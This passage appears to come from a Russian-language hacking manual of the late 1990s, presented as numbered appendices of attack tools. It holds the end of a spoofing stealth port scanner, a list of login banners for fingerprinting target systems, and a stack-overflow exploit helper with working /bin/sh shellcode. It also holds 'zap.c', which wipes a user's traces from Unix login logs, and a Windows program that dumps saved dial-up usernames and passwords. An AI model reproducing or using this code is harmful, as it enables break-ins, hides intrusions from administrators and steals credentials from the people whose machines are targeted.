if ((tcpsock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
printf("\nerror: couldn't get TCP raw socket\n\n");
exit(1);
}
if ((rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
{
printf("\nerror: couldn't get raw socket\n\n");
exit(1);
}
/* well, let's get to it. */
done = 0;
printf("* BEGINNING SCAN\n");
fflush(stdout);
gettimeofday(&waitsend,NULL);
while (!done)
{
if (nextport(1) == NULL)
{
alarm(0); /* no more sends, now we just */
signal(SIGALRM,timeout); /* to wait <waitdelay> seconds */
alarm(waitdelay); /* before resetting and giving */
} /* results. */
FD_ZERO(&rset);
FD_SET(tcpsock,&rset);
gettimeofday(&now,NULL);
udiff = usecdiff(&waitsend,&now);
/* here comes the multiple choice select().
* well, there are 3 states:
* 1. already sent all the packets.
* 2. didn't send all the packets, but it's not time for another send
* 3. didn't send all the packets and it is time for another send.
*/
if (nextport(1) != NULL)
if (udiff > usecdelay)
{
FD_ZERO(&wset);
FD_SET(rawsock,&wset);
select(FD_SETSIZE,&rset,&wset,NULL,NULL);
} else
{
del.tv_sec = 0;
del.tv_usec = usecdelay;
select(FD_SETSIZE,&rset,NULL,NULL,&del);
}
else
select(FD_SETSIZE,&rset,NULL,NULL,NULL);
if (FD_ISSET(tcpsock,&rset)) /* process the reply */
{
fromlen = sizeof(from);
recvfrom(tcpsock,&buf,3000,0,
(struct sockaddr *)&from,&fromlen);
if (from.sin_addr.s_addr == destaddr.sin_addr.s_addr)
if (ntohs(tcp->th_dport) == STCP_PORT)
{
printf("* got reply");
readport = portbynum(ntohs(tcp->th_sport));
if (readport == NULL)
printf(" -- bad port");
else
{
sendthreshold = 0;
if (!readport->state)
{
readport->ttl = ip->ttl;
readport->window = tcp->th_win;
if (tcp->th_flags & TH_RST)
{
readport->state = -1;
printf(" (RST)");
if (readport->ttl < 65) printf(" (short ttl)");
if (readport->window > 0) printf(" (big window)");
}
else
if (tcp->th_flags & (TH_ACK | TH_SYN))
{
readport->state = 1;
printf(" (SYN+ACK)");
tcpip_send(rawsock,&destaddr,
spoof_addr,destaddr.sin_addr.s_addr,
STCP_PORT,readport->n,
TH_RST,
readport->seq++, 0,
512,
NULL,
0);
}
else
{
readport->state = 2;
printf(" (UNEXPECTED)");
tcpip_send(rawsock,&destaddr,
spoof_addr,destaddr.sin_addr.s_addr,
STCP_PORT,readport->n,
TH_RST,
readport->seq++, 0,
512,
NULL,
0);
}
}
else
printf(" (duplicate)");
}
printf("\n");
fflush(stdout);
}
}
if (nextport(1) != NULL)
if (FD_ISSET(rawsock,&wset)) /* process the sends */
{
readport = nextport(0);
destaddr.sin_port = htons(readport->n);
printf("* sending to port %d ",ntohs(destaddr.sin_port));
readport->seq = lrand48();
readport->sends++;
tcpip_send(rawsock,&destaddr,
spoof_addr,destaddr.sin_addr.s_addr,
STCP_PORT,ntohs(destaddr.sin_port),
scanflags, readport->seq++, lrand48(),
512, NULL, 0);
gettimeofday(&waitsend,NULL);
FD_ZERO(&wset);
printf("\n");
if ((++sendthreshold > STCP_THRESHOLD) && (slowfactor))
{
printf("\n\n -- THRESHOLD CROSSED - SLOWING UP SENDS\n\n");
usecdelay *= slowfactor;
sendthreshold = 0;
}
}
}
}
/*
* EOF
*/
---
Приложение 5. Некоторые OS и их приглашения.
--- begin banners.txt ---
Почти все UNIX
~~~~~~~~~~~~~~
[... Любой текст ...]
login: root
password:
AS/400
~~~~~~
UserID?
Password?
CDC Cyber
~~~~~~~~~
FAMILY:
USER NAME:
PRIMOS
~~~~~~
PRIMENET 19.2.7F PPOA1
[... Любой текст ...]
ER!
CISCO Router
~~~~~~~~~~~~
REMOTE Router - TN043R1
Console Port
TN043R1>
VM/370
~~~~~~
VM/370
!
DECserver
~~~~~~~~~
[... Любой текст ...]
Please type HELP if you need assistance
Enter username> TNO
Local>
Hewlett Packard MPE-XL и другие HP
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
:
EXPECTED A :HELLO COMMAND. (CIERR 6057)
:HELLO
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424)
:
GTN
~~~
WELCOME TO XXXXXXXXX. PLEASE SIGN ON.
@
PASSWORD =
@
Lantronix Terminal Server
~~~~~~~~~~~~~~~~~~~~~~~~~
Lantronix ETS16 Version V3.1/1(940623)
Type HELP at the 'Local_15> ' prompt for assistance.
Login password>
Novell ONLAN ( Для работы с этой системой требуется ONLAN/PC )
~~~~~~~~~~~~
<Control-A>N
PC-Anywhere ( Для работы с этой системой требуется PCAnywhere Remote )
~~~~~~~~~~~
<Control-A>P
ROLM CBX II
~~~~~~~~~~~
ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568
BIND DATE: 7/APR/93
COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED.
ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY.
YOU HAVE ENTERED CPU 1
12:38:47 ON WEDNESDAY 2/15/1995
USERNAME: op
PASSWORD:
INVALID USERNAME-PASSWORD PAIR
ROLM-OSL
~~~~~~~~
MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47
RELEASE 8003
OSL, PLEASE.
?
System75
~~~~~~~~
Login: root
INCORRECT LOGIN
Login: browse
Password:
Tops-10
~~~~~~~
NIH Timesharing
NIH Tri-SMP 7.02-FF 16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN
.
VM/ESA
~~~~~~
VM/ESA ONLINE
TBVM2 VM/ESA Rel 1.1 PUT 9200
Fill in your USERID and PASSWORD and press ENTER
(Your password will not appear when you type it)
USERID ===>
PASSWORD ===>
COMMAND ===>
Xylogics Annex Communications Server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc.
Checking authorization, Please wait...
Annex username: TNO
Annex password:
Permission granted
annex:
---
Приложение 6. Пример программы для срыва стека.
--- begin shellcod.h ---
/*
* shellcode.h
*/
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
/*
* EOF
*/--- begin eggshell.c ---
/*
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include <stdlib.h>
#include <stdio.h>
#include "shellcod.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
extern char* optarg;
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i=0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a <alignment>] [-b <buffersize>] \
[-e <eggsize>] [-o <offset>]\n");
}
---
Приложение 7. Программа модификации log-файлов Unix.
--- begin zap.c ---
/*
* zap.c Many authors, last changes by /DZh.
*/
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(char *who)
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0)
{
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who)))
{
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
} else printf("Can't open %s\n", UTMP_NAME );
}
void kill_wtmp(char *who)
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0)
{
while(pos != -1L)
{
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0)
{
pos = -1L;
}
else
{
if (!strncmp(utmp_ent.ut_name,who,strlen(who)))
{
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
} else printf("Can't open %s\n",WTMP_NAME);
}
void kill_lastlog(char *who)
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL)
{
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0)
{
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
} else printf("Can't open %s\n", LASTLOG_NAME);
} else printf("%s: ?\n",who);
}
main( int argc, char *argv[] )
{
if (argc==2)
{
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap !\n");
} else
printf("Isage: zap <username>\n");
}
---
Приложение 8. Программа просмотра информации Dialup соединений Windows.
--- begin winphone.cpp ---
// Active user phonebook viewer with decrypted passwords :-)
// (c) DZh, one of last day of 1998 year
// Visual C++ note:
// Add rasapi32.lib into you Project/Settings/Link/Object_Modules
#include <windows.h>
#include <stdio.h>
#include <ras.h>
#define MAX_ENTRIES 20
void main(void)
{
LPRASENTRYNAME EntryArray = new (RASENTRYNAME[MAX_ENTRIES]);
DWORD lpcb = sizeof(RASENTRYNAME)*MAX_ENTRIES;
DWORD lpcEntries;
DWORD i, e;
int lpfPassword;
RASDIALPARAMS DialEntry;
RASENTRY EntryParam;
DWORD dwEntryInfoSize = sizeof(RASENTRY);
printf("Active phonebook:\n");
printf("Entry : Phone : Login/Pass\n");
EntryArray[0].dwSize = sizeof(RASENTRYNAME);
if( (e = RasEnumEntries( NULL, "", EntryArray, &lpcb,
&lpcEntries)) == 0 )
for(i=0;i<lpcEntries;i++)
{
strcpy(DialEntry.szEntryName, EntryArray[i].szEntryName);
DialEntry.dwSize = sizeof(RASDIALPARAMS);
RasGetEntryDialParams("", &DialEntry, &lpfPassword );
EntryParam.dwSize = sizeof(RASENTRY);
RasGetEntryProperties("", DialEntry.szEntryName,
&EntryParam, &dwEntryInfoSize, NULL, NULL);
printf("%s : %s : %s/%s\n", DialEntry.szEntryName,
EntryParam.szLocalPhoneNumber,
DialEntry.szUserName,
lpfPassword==1?DialEntry.szPassword:"no_password");
}
else
printf("RasEnumEntries error? Code:%d\n", e);
}
---